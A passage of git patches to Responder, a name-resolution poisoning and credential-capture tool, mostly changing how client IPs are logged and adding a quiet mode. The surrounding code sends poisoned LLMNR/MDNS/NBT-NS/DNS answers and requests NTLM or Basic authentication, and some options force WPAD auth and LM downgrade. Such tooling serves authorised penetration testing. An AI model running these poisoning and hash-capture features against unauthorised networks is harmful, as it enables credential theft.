Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], @@ -90,7 +90,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index 6973dc0..a2bf073 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -61,7 +61,7 @@ class MDNS(BaseRequestHandler): return None if settings.Config.AnalyzeMode: # Analyze Mode - print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3)))) + print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Request_Name, 3)))) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -73,7 +73,7 @@ class MDNS(BaseRequestHandler): Buffer = MDNS_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -86,7 +86,7 @@ class MDNS(BaseRequestHandler): Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1)) + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 088f667..0d94126 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -36,8 +36,7 @@ class NBTNS(BaseRequestHandler): if data[2:4] == b'\x01\x10': if settings.Config.AnalyzeMode: # Analyze Mode - LineHeader = "[Analyze mode: NBT-NS]" - print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1)) + print(text('[Analyze mode: NBT-NS] Request by %-15s for %s, ignoring' % (color(self.client_address[0].replace("::ffff:",""), 3), color(Name, 3)))) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], @@ -49,7 +48,7 @@ class NBTNS(BaseRequestHandler): Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0], Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], diff --git a/servers/Browser.py b/servers/Browser.py index abda10c..5dfaccf 100644 --- a/servers/Browser.py +++ b/servers/Browser.py @@ -165,7 +165,7 @@ def BecomeBackup(data,Client): Role = NBT_NS_Role(data[45:48]) if settings.Config.AnalyzeMode: - print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client, Name,Role,Domain))) + print(text("[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s wants to become a Local Master Browser Backup on this domain: %s."%(Client.replace("::ffff:",""), Name,Role,Domain))) RAPInfo = RAPThisDomain(Client, Domain) if RAPInfo is not None: print(RAPInfo) @@ -182,7 +182,7 @@ def ParseDatagramNBTNames(data,Client): if Role2 == "Domain Controller" or Role2 == "Browser Election" or Role2 == "Local Master Browser" and settings.Config.AnalyzeMode: - print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client, Name, Role1, Domain, Role2))) + print(text('[Analyze mode: Browser] Datagram Request from IP: %s hostname: %s via the: %s to: %s. Service: %s' % (Client.replace("::ffff:",""), Name, Role1, Domain, Role2))) RAPInfo = RAPThisDomain(Client, Domain) if RAPInfo is not None: print(RAPInfo) diff --git a/servers/DNS.py b/servers/DNS.py index 9c546e7..9bbabbe 100755 --- a/servers/DNS.py +++ b/servers/DNS.py @@ -49,35 +49,35 @@ class DNS(BaseRequestHandler): buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": buff = DNS_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) except Exception: @@ -97,35 +97,35 @@ class DNSTCP(BaseRequestHandler): buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv4": buff = DNS_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] A OPT Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV": buff = DNS_SRV_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6": buff = DNS6_Ans() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "OPTIPv6": buff = DNS6_AnsOPT() buff.calculate(NetworkRecvBufferPython2or3(data)) self.request.send(NetworkSendBufferPython2or3(buff)) ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"]) - print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1)) + print(color("[*] [DNS] AAAA OPT Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0].replace("::ffff:",""), ResolveName), 2, 1)) except Exception: pass diff --git a/servers/HTTP.py b/servers/HTTP.py index 0ce6b73..6afafce 100755 --- a/servers/HTTP.py +++ b/servers/HTTP.py @@ -205,7 +205,7 @@ def PacketSequence(data, client, Challenge): ParseHTTPHash(NTLM_Auth, Challenge, client, module) if settings.Config.Force_WPAD_Auth and WPAD_Custom: - print(text("[HTTP] WPAD (auth) file sent to %s" % client)) + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) return WPAD_Custom else: @@ -230,7 +230,7 @@ def PacketSequence(data, client, Challenge): if settings.Config.Force_WPAD_Auth and WPAD_Custom: if settings.Config.Verbose: - print(text("[HTTP] WPAD (auth) file sent to %s" % client)) + print(text("[HTTP] WPAD (auth) file sent to %s" % client.replace("::ffff:",""))) return WPAD_Custom else: @@ -241,12 +241,12 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print(text("[HTTP] Sending BASIC authentication request to %s" % client)) + print(text("[HTTP] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print(text("[HTTP] Sending NTLM authentication request to %s" % client)) + print(text("[HTTP] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) return Response @@ -290,7 +290,7 @@ class HTTP(BaseRequestHandler): self.request.send(NetworkSendBufferPython2or3(Buffer)) self.request.close() if settings.Config.Verbose: - print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0])) + print(text("[HTTP] WPAD (no auth) file sent to %s" % self.client_address[0].replace("::ffff:",""))) else: Buffer = PacketSequence(data,self.client_address[0], Challenge) diff --git a/servers/HTTP_Proxy.py b/servers/HTTP_Proxy.py index fcade5e..4463b0f 100755 --- a/servers/HTTP_Proxy.py +++ b/servers/HTTP_Proxy.py @@ -209,7 +209,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): def handle(self): (ip, port) = self.client_address[0], self.client_address[1] if settings.Config.Verbose: - print(text("[PROXY] Received connection from %s" % self.client_address[0])) + print(text("[PROXY] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) self.__base_handle() def _connect_to(self, netloc, soc): @@ -286,7 +286,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler): Cookie = self.headers['Cookie'] if "Cookie" in self.headers else '' if settings.Config.Verbose: - print(text("[PROXY] Client : %s" % color(self.client_address[0], 3))) + print(text("[PROXY] Client : %s" % color(self.client_address[0].replace("::ffff:",""), 3))) print(text("[PROXY] Requested URL : %s" % color(self.path, 3))) print(text("[PROXY] Cookie : %s" % Cookie)) diff --git a/servers/LDAP.py b/servers/LDAP.py index d6bea7a..2b9fe65 100644 --- a/servers/LDAP.py +++ b/servers/LDAP.py @@ -173,7 +173,7 @@ def ParseCLDAPPacket(data, client, Challenge): elif Operation == b'\x63': Buffer = ParseSearch(data) - print(text('[CLDAP] Sent CLDAP pong to %s.'% client)) + print(text('[CLDAP] Sent CLDAP pong to %s.'% client.replace("::ffff:",""))) return Buffer elif settings.Config.Verbose: diff --git a/servers/MSSQL.py b/servers/MSSQL.py index 3a44012..ed2b440 100755 --- a/servers/MSSQL.py +++ b/servers/MSSQL.py @@ -134,7 +134,7 @@ class MSSQL(BaseRequestHandler): if not data: break if settings.Config.Verbose: - print(text("[MSSQL] Received connection from %s" % self.client_address[0])) + print(text("[MSSQL] Received connection from %s" % self.client_address[0].replace("::ffff:",""))) if data[0] == b"\x12" or data[0] == 18: # Pre-Login Message Buffer = str(MSSQLPreLoginAnswer()) self.request.send(NetworkSendBufferPython2or3(Buffer)) diff --git a/servers/Proxy_Auth.py b/servers/Proxy_Auth.py index 46f6b97..23db3f8 100644 --- a/servers/Proxy_Auth.py +++ b/servers/Proxy_Auth.py @@ -57,7 +57,7 @@ def PacketSequence(data, client, Challenge): Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9] if Packet_NTLM == b'\x01': if settings.Config.Verbose: - print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client)) + print(text("[Proxy-Auth] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge)) Buffer.calculate() Buffer_Ans = WPAD_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1')) @@ -93,7 +93,7 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = WPAD_Basic_407_Ans() if settings.Config.Verbose: - print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client)) + print(text("[Proxy-Auth] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: Response = WPAD_Auth_407_Ans() diff --git a/servers/RDP.py b/servers/RDP.py index f2e5bd1..3047a4d 100755 --- a/servers/RDP.py +++ b/servers/RDP.py @@ -98,6 +98,11 @@ class RDP(BaseRequestHandler): self.request.settimeout(30) Challenge = RandomChallenge() + cert = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLCert) + key = os.path.join(settings.Config.ResponderPATH, settings.Config.SSLKey) + context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + context.load_cert_chain(cert, key) + if data[11:12] == b'\x01': x = X224(Data=RDPNEGOAnswer()) x.calculate() @@ -105,7 +110,7 @@ class RDP(BaseRequestHandler): h.calculate() buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True) + SSLsock = context.wrap_socket(self.request, server_side=True) SSLsock.settimeout(30) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': @@ -125,8 +130,7 @@ class RDP(BaseRequestHandler): buffer1 = str(h) self.request.send(NetworkSendBufferPython2or3(buffer1)) data = self.request.recv(8092) - - SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True) + SSLsock = context.wrap_socket(self.request, server_side=True) data = SSLsock.read(8092) if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00': x = RDPNTLMChallengeAnswer(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge)) diff --git a/servers/RPC.py b/servers/RPC.py index 5c60c5d..ce931f5 100644 --- a/servers/RPC.py +++ b/servers/RPC.py @@ -144,7 +144,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0]), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15sto DSRUAPI auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #LSARPC @@ -155,7 +155,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0]), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15sto LSARPC auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #WINSPOOL @@ -166,7 +166,7 @@ class RPCMap(BaseRequestHandler): RPC.calculate() self.request.send(NetworkSendBufferPython2or3(str(RPC))) data = self.request.recv(1024) - print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0]), 3, 1)) + print(color("[*] [DCE-RPC Mapper] Redirected %-15sto WINSPOOL auth server." % (self.client_address[0].replace("::ffff:","")), 3, 1)) self.request.close() #NetLogon diff --git a/servers/SMB.py b/servers/SMB.py index 20d4391..ff90aac 100644 --- a/servers/SMB.py +++ b/servers/SMB.py @@ -206,7 +206,6 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP self.request.send(Buffer) data = self.request.recv(1024) except: - raise pass ##Negotiate proto answer SMBv2. diff --git a/servers/WinRM.py b/servers/WinRM.py index a205b34..25305f1 100644 --- a/servers/WinRM.py +++ b/servers/WinRM.py @@ -127,12 +127,12 @@ def PacketSequence(data, client, Challenge): if settings.Config.Basic: Response = IIS_Basic_401_Ans() if settings.Config.Verbose: - print(text("[WinRM] Sending BASIC authentication request to %s" % client)) + print(text("[WinRM] Sending BASIC authentication request to %s" % client.replace("::ffff:",""))) else: Response = IIS_Auth_401_Ans() if settings.Config.Verbose: - print(text("[WinRM] Sending NTLM authentication request to %s" % client)) + print(text("[WinRM] Sending NTLM authentication request to %s" % client.replace("::ffff:",""))) return Response diff --git a/settings.py b/settings.py index 095f5b5..59e7216 100755 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.1.1.0' +__version__ = 'Responder 3.1.3.0' class Settings: diff --git a/utils.py b/utils.py index ec38a54..ec22db6 100755 --- a/utils.py +++ b/utils.py @@ -317,7 +317,7 @@ def SaveToDb(result): for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: if not k in result: result[k] = '' - + result['client'] = result['client'].replace("::ffff:","") if len(result['user']) < 2: print(color('[*] Skipping one character username: %s' % result['user'], 3, 1)) text("[*] Skipping one character username: %s" % result['user']) @@ -393,7 +393,7 @@ def SavePoisonersToDb(result): for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]: if not k in result: result[k] = '' - + result['SentToIp'] = result['SentToIp'].replace("::ffff:","") cursor = sqlite3.connect(settings.Config.DatabaseFile) cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode'])) @@ -476,6 +476,10 @@ def banner(): print(banner) print("\n \033[1;33mNBT-NS, LLMNR & MDNS %s\033[0m" % settings.__version__) print('') + print(" To support this project:") + print(" Patreon -> https://www.patreon.com/PythonResponder") + print(" Paypal -> https://paypal.me/PythonResponder") + print('') print(" Author: Laurent Gaffie (laurent.gaffie@gmail.com)") print(" To kill this script hit CTRL-C") print('') From 2cd66a9b92aa6ca2b7fba0fea03b0a285c186683 Mon Sep 17 00:00:00 2001 From: jb Date: Fri, 29 Jul 2022 18:24:03 +0100 Subject: [PATCH 133/219] Added Quiet mode --- Responder.py | 4 ++++ poisoners/DHCP.py | 6 +++--- poisoners/LLMNR.py | 14 ++++++++------ poisoners/MDNS.py | 6 ++++-- poisoners/NBTNS.py | 5 +++-- settings.py | 7 ++++--- 6 files changed, 26 insertions(+), 16 deletions(-) diff --git a/Responder.py b/Responder.py index 34caa30..aeab473 100755 --- a/Responder.py +++ b/Responder.py @@ -40,6 +40,7 @@ parser.add_option('-u','--upstream-proxy', action="store", help="Upstream H parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False", dest="Force_WPAD_Auth", default=False) parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective. Default: False", dest="ProxyAuth_On_Off", default=False) +parser.add_option('-Q','--quiet', action="store_true", help="Tell Responder to be quiet, disables a bunch of printing from the poisoners. Default: False", dest="Quiet", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) @@ -370,6 +371,9 @@ def main(): if settings.Config.AnalyzeMode: print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) + if settings.Config.Quiet_Mode: + print(color('[+] Responder is in quiet mode. No NBT-NS, LLMNR, MDNS messages will print to screen.', 3, 1)) + if settings.Config.DHCP_On_Off: from poisoners.DHCP import DHCP diff --git a/poisoners/DHCP.py b/poisoners/DHCP.py index 599812c..a0e1713 100755 --- a/poisoners/DHCP.py +++ b/poisoners/DHCP.py @@ -256,8 +256,8 @@ def ParseDHCPCode(data, ClientIP,DHCP_DNS): RequestIP = data[245:249] if DHCPClient.count(MacAddrStr) >= 4: - return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr - + return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr + if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer ROUTERIP = ClientIP return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) @@ -346,5 +346,5 @@ def DHCP(DHCP_DNS): if SrcPort == 67 or DstPort == 67: ClientIP = socket.inet_ntoa(data[0][26:30]) ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS) - if ret: + if ret and not settings.Config.Quiet_Mode: print(text("[*] [DHCP] %s" % ret)) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..3b2e13a 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -37,7 +37,7 @@ def IsICMPRedirectPlausible(IP): for line in file: ip = line.split() if len(ip) < 2: - continue + continue elif ip[0] == 'nameserver': dnsip.extend(ip[1:]) for x in dnsip: @@ -76,21 +76,23 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR', 'SentToIp': self.client_address[0], 'ForName': Name, 'AnalyzeMode': '0', }) - + elif LLMNRType == 'IPv6': Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name) Buffer1.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [LLMNR]" - print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [LLMNR]" + print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'LLMNR6', 'SentToIp': self.client_address[0], diff --git a/poisoners/MDNS.py b/poisoners/MDNS.py index a2bf073..4d8338e 100755 --- a/poisoners/MDNS.py +++ b/poisoners/MDNS.py @@ -73,7 +73,8 @@ class MDNS(BaseRequestHandler): Buffer = MDNS_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS', 'SentToIp': self.client_address[0], @@ -86,7 +87,8 @@ class MDNS(BaseRequestHandler): Buffer = MDNS6_Ans(AnswerName = Poisoned_Name) Buffer.calculate() soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address) - print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) + if not settings.Config.Quiet_Mode: + print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0].replace("::ffff:",""), Request_Name), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'MDNS6', 'SentToIp': self.client_address[0], diff --git a/poisoners/NBTNS.py b/poisoners/NBTNS.py index 0d94126..398eb1f 100755 --- a/poisoners/NBTNS.py +++ b/poisoners/NBTNS.py @@ -47,8 +47,9 @@ class NBTNS(BaseRequestHandler): Buffer1 = NBT_Ans() Buffer1.calculate(data) socket.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address) - LineHeader = "[*] [NBT-NS]" - print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) + if not settings.Config.Quiet_Mode: + LineHeader = "[*] [NBT-NS]" + print(color("%s Poisoned answer sent to %s for name %s (service: %s)" % (LineHeader, self.client_address[0].replace("::ffff:",""), Name, NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46]))), 2, 1)) SavePoisonersToDb({ 'Poisoner': 'NBT-NS', 'SentToIp': self.client_address[0], diff --git a/settings.py b/settings.py index 59e7216..482eb5f 100755 --- a/settings.py +++ b/settings.py @@ -96,8 +96,8 @@ class Settings: self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP')) self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS')) self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP')) - self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) - self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) + self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC')) + self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM')) self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos')) # Db File @@ -133,9 +133,10 @@ class Settings: self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP) self.DHCP_DNS = options.DHCP_DNS self.ExternalIP6 = options.ExternalIP6 + self.Quiet_Mode = options.Quiet if self.Interface == "ALL": - self.Bind_To_ALL = True + self.Bind_To_ALL = True else: self.Bind_To_ALL = False #IPV4 From 2765ef4e668bc3493924aae5032e3ec63078ac42 Mon Sep 17 00:00:00 2001 From: lgandx Date: Fri, 5 Aug 2022 18:51:57 -0300 Subject: [PATCH 134/219] fixed the RespondTo/DontRespondTo issue --- poisoners/LLMNR.py | 4 ++-- poisoners/MDNS.py | 2 +- poisoners/NBTNS.py | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/poisoners/LLMNR.py b/poisoners/LLMNR.py index 0952325..8ef4a02 100755 --- a/poisoners/LLMNR.py +++ b/poisoners/LLMNR.py @@ -58,7 +58,7 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class LLMNRType = Parse_IPV6_Addr(data) # Break out if we don't want to respond to this host - if RespondToThisHost(self.client_address[0], Name) is not True: + if 